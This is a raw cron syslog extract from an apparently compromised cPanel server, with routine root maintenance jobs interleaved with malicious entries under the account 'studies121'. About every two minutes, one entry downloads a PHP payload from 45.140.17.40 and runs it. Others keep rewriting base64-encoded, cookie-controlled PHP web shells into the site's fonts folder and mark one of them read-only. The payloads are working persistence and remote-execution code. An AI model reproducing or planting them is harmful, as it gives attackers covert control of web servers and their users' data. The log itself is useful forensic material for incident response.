Sep  3 01:08:01 ip-184-168-122-23 CROND[7637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:09:01 ip-184-168-122-23 CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 01:09:01 ip-184-168-122-23 CROND[7819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:09:01 ip-184-168-122-23 CROND[7820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:09:01 ip-184-168-122-23 CROND[7822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:09:01 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:10:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:10:01 ip-184-168-122-23 CROND[7925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:10:01 ip-184-168-122-23 CROND[7932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:11:01 ip-184-168-122-23 CROND[8021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:11:01 ip-184-168-122-23 CROND[8023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:11:01 ip-184-168-122-23 CROND[8024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:11:01 ip-184-168-122-23 CROND[8025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:12:01 ip-184-168-122-23 CROND[8156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:12:01 ip-184-168-122-23 CROND[8158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:12:01 ip-184-168-122-23 CROND[8160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:12:01 ip-184-168-122-23 CROND[8161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:12:01 ip-184-168-122-23 CROND[8159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:13:01 ip-184-168-122-23 CROND[8255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:13:01 ip-184-168-122-23 CROND[8253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:13:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:13:01 ip-184-168-122-23 CROND[8256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:14:01 ip-184-168-122-23 CROND[8346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:14:01 ip-184-168-122-23 CROND[8348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:14:01 ip-184-168-122-23 CROND[8349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:14:01 ip-184-168-122-23 CROND[8350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:14:01 ip-184-168-122-23 CROND[8351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:15:01 ip-184-168-122-23 CROND[8437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:15:01 ip-184-168-122-23 CROND[8440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:15:01 ip-184-168-122-23 CROND[8441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:15:01 ip-184-168-122-23 CROND[8439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:15:01 ip-184-168-122-23 CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:15:01 ip-184-168-122-23 CROND[8446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:16:01 ip-184-168-122-23 CROND[8527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:16:01 ip-184-168-122-23 CROND[8529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:16:01 ip-184-168-122-23 CROND[8531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:16:01 ip-184-168-122-23 CROND[8532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:16:01 ip-184-168-122-23 CROND[8533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:16:01 ip-184-168-122-23 CROND[8535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:17:01 ip-184-168-122-23 CROND[8715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:17:01 ip-184-168-122-23 CROND[8716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:17:01 ip-184-168-122-23 CROND[8719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:17:01 ip-184-168-122-23 CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:18:01 ip-184-168-122-23 CROND[8794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:18:01 ip-184-168-122-23 CROND[8797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:18:01 ip-184-168-122-23 CROND[8798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:18:01 ip-184-168-122-23 CROND[8796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:18:01 ip-184-168-122-23 CROND[8799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:19:01 ip-184-168-122-23 CROND[8877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:19:01 ip-184-168-122-23 CROND[8878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:19:01 ip-184-168-122-23 CROND[8880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:19:01 ip-184-168-122-23 CROND[8881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:20:01 ip-184-168-122-23 CROND[8969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:20:01 ip-184-168-122-23 CROND[8980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:20:01 ip-184-168-122-23 CROND[8981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
